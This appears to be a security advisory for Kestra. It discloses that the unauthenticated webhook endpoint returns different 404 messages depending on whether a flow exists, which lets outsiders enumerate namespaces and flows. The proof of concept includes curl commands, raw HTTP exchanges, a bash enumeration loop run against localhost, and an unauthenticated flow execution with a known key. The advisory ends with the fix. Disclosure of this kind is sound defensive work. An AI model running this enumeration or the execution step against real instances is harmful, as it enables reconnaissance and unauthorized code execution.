Description
Summary
Kestra's webhook-trigger execution endpoint, GET|POST|PUT /api/v1/{tenant}/executions/webhook/{namespace}/{id}/{key}, is intentionally unauthenticated (its path prefix is listed in kestra.server.basic-auth.open-urls so external systems can fire webhooks). However, before it validates the secret webhook key, it first looks up the flow and returns a different error message depending on whether the flow exists:
- Flow does not exist →
HTTP 404 {"message":"Not Found: Flow not found"}
- Flow exists (wrong/absent webhook key) →
HTTP 404 {"message":"Not Found: Webhook not found"}
Because this endpoint requires no credentials, an unauthenticated network attacker can use this observable response discrepancy as an oracle to enumerate the complete flow and namespace inventory of a Kestra instance - namespace names and flow IDs - without ever authenticating and without knowing any webhook key. For a workflow-orchestration platform these names routinely reveal internal projects, environments, cloud accounts and data pipelines (e.g. prod.payments/order-sync, infra.aws/rotate-keys), providing high-value reconnaissance that the basic-auth wall is meant to prevent. It also lets an attacker pinpoint which real flows to target for webhook-key guessing - and a correct key yields unauthenticated flow execution (demonstrated below).
Details
Why the endpoint is unauthenticated. The basic-auth filter guards /api/v1/** but treats any path that starts with a configured open-url prefix as public.
cli/src/main/resources/application.yml (open-urls)
kestra:
server:
basic-auth:
open-urls:
- "/ping"
- "/api/v1/executions/webhook/"
- "/api/v1/main/executions/webhook/"
- "/api/v1/*/executions/webhook/"
- "/api/v1/basicAuthValidationErrors"
webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:54-61
boolean isOpenUrl = Optional.ofNullable(basicAuthConfiguration.openUrls())
.map(Collection::stream)
.map(stream -> stream.anyMatch(s -> request.getPath().startsWith(s))) // raw-path prefix match
.orElse(false);
if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request)) {
return chain.proceed(request); // <-- no auth check
}
So every request to /api/v1/.../executions/webhook/... bypasses basic-auth by design.
The oracle. webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java
595 private Mono<HttpResponse<?>> webhook(String namespace, String id, String key, ...) {
601 Optional<Flow> find = flowRepository.findById(tenantService.resolveTenant(), namespace, id);
602 return webhook(find, key, path, request);
603 }
605 protected Mono<HttpResponse<?>> webhook(Optional<Flow> maybeFlow, String key, ...) {
610 if (maybeFlow.isEmpty()) {
611 throw new HttpStatusException(HttpStatus.NOT_FOUND, "Flow not found"); // flow does NOT exist
612 }
...
622 Optional<AbstractWebhookTrigger> maybeWebhook = flow.getTriggers()...
628 .filter(w -> MessageDigest.isEqual(renderedKey, key)) // constant-time key check
641 .findFirst();
643 if (maybeWebhook.isEmpty()) {
644 throw new HttpStatusException(HttpStatus.NOT_FOUND, "Webhook not found"); // flow EXISTS
645 }
The flow-existence check (610-611) happens before and independently of the key check (628-644), and the two failures return distinguishable messages. The key comparison itself is correctly constant-time (MessageDigest.isEqual) - the leak is purely the branch that fires first and the different message it returns.
PoC
Complete, reproducible instructions with real, unredacted values captured from a live run. No credentials are sent in any webhook request below.
Environment. Kestra v1.3.37 from the official docker-compose with basic-auth enabled on the main server (admin@kestra.io / Admin1234!); the container's port 8080 is published at http://localhost:3031. The default tenant segment is main.
Step 0 - (setup) create a flow that has a webhook trigger
This is the "flow that exists" the oracle will reveal. Any real flow works; this makes the PoC self-contained.
cat > flow.yaml <<'YAML'
id: order-sync
namespace: prod.payments
tasks:
- id: log
type: io.kestra.plugin.core.log.Log
message: "order received"
triggers:
- id: incoming
type: io.kestra.plugin.core.trigger.Webhook
key: s3cr3t-webhook-key-9911
YAML
curl -s -u 'admin@kestra.io:Admin1234!' -X POST \
'http://localhost:3031/api/v1/main/flows' \
-H 'Content-Type: application/x-yaml' --data-binary @flow.yaml \
-o /dev/null -w 'create -> %{http_code}\n' # -> 200 (or 422 if it already exists)
curl -s -u 'admin@kestra.io:Admin1234!' \
'http://localhost:3031/api/v1/main/flows/prod.payments/order-sync' \
-o /dev/null -w 'flow exists (authed) -> %{http_code}\n' # -> 200
Step 1 - Control: the main API requires authentication
curl -s -o /dev/null -w '%{http_code}\n' \
'http://localhost:3031/api/v1/main/flows/search' # -> 401
Raw:
GET /api/v1/main/flows/search HTTP/1.1
Host: localhost:3031
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic
So the rest of the API is gated; the webhook path is not.
Step 2 - Oracle response A: a flow that EXISTS (unauthenticated, wrong key)
Raw request:
GET /api/v1/main/executions/webhook/prod.payments/order-sync/wrongkey000 HTTP/1.1
Host: localhost:3031
Raw response:
HTTP/1.1 404 Not Found
content-type: application/json
content-length: 286
{"message":"Not Found: Webhook not found","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/executions/webhook/prod.payments/order-sync/wrongkey000","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}
Step 3 - Oracle response B: a flow that does NOT exist (unauthenticated)
Raw request:
GET /api/v1/main/executions/webhook/prod.payments/does-not-exist-zzz/wrongkey000 HTTP/1.1
Host: localhost:3031
Raw response:
HTTP/1.1 404 Not Found
content-type: application/json
content-length: 291
{"message":"Not Found: Flow not found","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/executions/webhook/prod.payments/does-not-exist-zzz/wrongkey000","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}
The message (Webhook not found vs Flow not found) - and the content-length (286 vs 291) - cleanly distinguish "flow exists" from "flow does not exist", with no credentials.
Step 4 - Enumeration loop (recover the flow inventory, no credentials, no key)
for id in order-sync payments-reconcile does-not-exist rotate-keys; do
msg=$(curl -s "http://localhost:3031/api/v1/main/executions/webhook/prod.payments/$id/x" \
| sed -n 's/.*"message":"Not Found: \([^"]*\)".*/\1/p')
[ "$msg" = "Webhook not found" ] && echo "EXISTS : prod.payments/$id" \
|| echo "absent : prod.payments/$id ($msg)"
done
Output (verified live):
EXISTS : prod.payments/order-sync
absent : prod.payments/payments-reconcile (Flow not found)
absent : prod.payments/does-not-exist (Flow not found)
absent : prod.payments/rotate-keys (Flow not found)
A request into a non-existent namespace also returns Flow not found, so the same technique enumerates namespaces (any namespace containing a resolvable flow yields Webhook not found). Driven with a wordlist, an unauthenticated attacker reconstructs the instance's entire namespace/flow tree.
Step 5 - Impact escalation: a correct key executes the flow, still unauthenticated
Once a real {namespace}/{id} is known from the oracle, an attacker focuses key attempts on flows that actually exist. With the correct key the same unauthenticated endpoint runs the flow:
curl -s -D - -o exec.json -X POST \
'http://localhost:3031/api/v1/main/executions/webhook/prod.payments/order-sync/s3cr3t-webhook-key-9911'
HTTP/1.1 200 OK
content-length: 666
exec.json (real values):
"id":"1C0p6GFK89zzWqD2D1y5qD"
"namespace":"prod.payments"
"flowId":"order-sync"
"state.current":"CREATED"
An execution was created and started with no credentials. Because flows can run script/Docker tasks (RCE-by-design for flow authors), a weak, guessable, or leaked webhook key on a flow - now precisely targetable thanks to the enumeration oracle - becomes an unauthenticated path to code execution.
Differential summary (all captured live)
| Request (no creds) |
Result |
GET /api/v1/main/flows/search |
401 Unauthorized (control) |
GET .../webhook/prod.payments/order-sync/wrongkey000 (flow exists) |
404 Webhook not found (cl 286) |
GET .../webhook/prod.payments/does-not-exist-zzz/wrongkey000 (absent) |
404 Flow not found (cl 291) |
POST .../webhook/prod.payments/order-sync/s3cr3t-webhook-key-9911 (valid key) |
200, execution 1C0p6GFK89zzWqD2D1y5qD CREATED |
Impact
This is an observable-response-discrepancy information-disclosure vulnerability (CWE-204). An unauthenticated network attacker can:
- Enumerate the entire flow/namespace inventory of a Kestra instance without credentials. Flow and namespace names in an orchestration platform frequently disclose internal systems, cloud accounts, data pipelines, teams and environments - exactly the metadata the basic-auth boundary is meant to protect.
- Select targets for follow-on attacks: knowing which
{namespace}/{id} pairs really exist lets the attacker concentrate webhook-key guessing/brute-forcing on live flows, and (as shown) a correct key yields unauthenticated flow execution → potential RCE via the flow's tasks.
Everyone who self-hosts Kestra is affected, since the webhook prefix is unauthenticated by default configuration.
Fix
Every failure reachable without the correct webhook key: absent flow, disabled flow, invalid flow,
wrong key,... now returns the identical 404 "Webhook not found".
Residual risk
A timing difference remains between an absent flow (one repository lookup) and an existing one
(builds a RunContext and renders the trigger's key). For a literal key, this is a sub-millisecond
difference, impractical to exploit remotely against normal network jitter. We accept this as
residual risk.
Description
Summary
Kestra's webhook-trigger execution endpoint,
GET|POST|PUT /api/v1/{tenant}/executions/webhook/{namespace}/{id}/{key}, is intentionally unauthenticated (its path prefix is listed inkestra.server.basic-auth.open-urlsso external systems can fire webhooks). However, before it validates the secret webhookkey, it first looks up the flow and returns a different error message depending on whether the flow exists:HTTP 404 {"message":"Not Found: Flow not found"}HTTP 404 {"message":"Not Found: Webhook not found"}Because this endpoint requires no credentials, an unauthenticated network attacker can use this observable response discrepancy as an oracle to enumerate the complete flow and namespace inventory of a Kestra instance - namespace names and flow IDs - without ever authenticating and without knowing any webhook key. For a workflow-orchestration platform these names routinely reveal internal projects, environments, cloud accounts and data pipelines (e.g.
prod.payments/order-sync,infra.aws/rotate-keys), providing high-value reconnaissance that the basic-auth wall is meant to prevent. It also lets an attacker pinpoint which real flows to target for webhook-key guessing - and a correct key yields unauthenticated flow execution (demonstrated below).Details
Why the endpoint is unauthenticated. The basic-auth filter guards
/api/v1/**but treats any path that starts with a configured open-url prefix as public.cli/src/main/resources/application.yml(open-urls)webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:54-61So every request to
/api/v1/.../executions/webhook/...bypasses basic-auth by design.The oracle.
webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.javaThe flow-existence check (610-611) happens before and independently of the key check (628-644), and the two failures return distinguishable messages. The key comparison itself is correctly constant-time (
MessageDigest.isEqual) - the leak is purely the branch that fires first and the different message it returns.PoC
Complete, reproducible instructions with real, unredacted values captured from a live run. No credentials are sent in any webhook request below.
Environment. Kestra v1.3.37 from the official docker-compose with basic-auth enabled on the main server (
admin@kestra.io/Admin1234!); the container's port 8080 is published athttp://localhost:3031. The default tenant segment ismain.Step 0 - (setup) create a flow that has a webhook trigger
This is the "flow that exists" the oracle will reveal. Any real flow works; this makes the PoC self-contained.
Step 1 - Control: the main API requires authentication
Raw:
So the rest of the API is gated; the webhook path is not.
Step 2 - Oracle response A: a flow that EXISTS (unauthenticated, wrong key)
Raw request:
Raw response:
Step 3 - Oracle response B: a flow that does NOT exist (unauthenticated)
Raw request:
Raw response:
The message (
Webhook not foundvsFlow not found) - and the content-length (286 vs 291) - cleanly distinguish "flow exists" from "flow does not exist", with no credentials.Step 4 - Enumeration loop (recover the flow inventory, no credentials, no key)
Output (verified live):
A request into a non-existent namespace also returns
Flow not found, so the same technique enumerates namespaces (any namespace containing a resolvable flow yieldsWebhook not found). Driven with a wordlist, an unauthenticated attacker reconstructs the instance's entire namespace/flow tree.Step 5 - Impact escalation: a correct key executes the flow, still unauthenticated
Once a real
{namespace}/{id}is known from the oracle, an attacker focuses key attempts on flows that actually exist. With the correct key the same unauthenticated endpoint runs the flow:curl -s -D - -o exec.json -X POST \ 'http://localhost:3031/api/v1/main/executions/webhook/prod.payments/order-sync/s3cr3t-webhook-key-9911'exec.json(real values):An execution was created and started with no credentials. Because flows can run script/Docker tasks (RCE-by-design for flow authors), a weak, guessable, or leaked webhook key on a flow - now precisely targetable thanks to the enumeration oracle - becomes an unauthenticated path to code execution.
Differential summary (all captured live)
GET /api/v1/main/flows/searchGET .../webhook/prod.payments/order-sync/wrongkey000(flow exists)Webhook not found(cl 286)GET .../webhook/prod.payments/does-not-exist-zzz/wrongkey000(absent)Flow not found(cl 291)POST .../webhook/prod.payments/order-sync/s3cr3t-webhook-key-9911(valid key)1C0p6GFK89zzWqD2D1y5qDCREATEDImpact
This is an observable-response-discrepancy information-disclosure vulnerability (CWE-204). An unauthenticated network attacker can:
{namespace}/{id}pairs really exist lets the attacker concentrate webhook-key guessing/brute-forcing on live flows, and (as shown) a correct key yields unauthenticated flow execution → potential RCE via the flow's tasks.Everyone who self-hosts Kestra is affected, since the webhook prefix is unauthenticated by default configuration.
Fix
Every failure reachable without the correct webhook key: absent flow, disabled flow, invalid flow,
wrong key,... now returns the identical
404 "Webhook not found".Residual risk
A timing difference remains between an absent flow (one repository lookup) and an existing one
(builds a RunContext and renders the trigger's key). For a literal key, this is a sub-millisecond
difference, impractical to exploit remotely against normal network jitter. We accept this as
residual risk.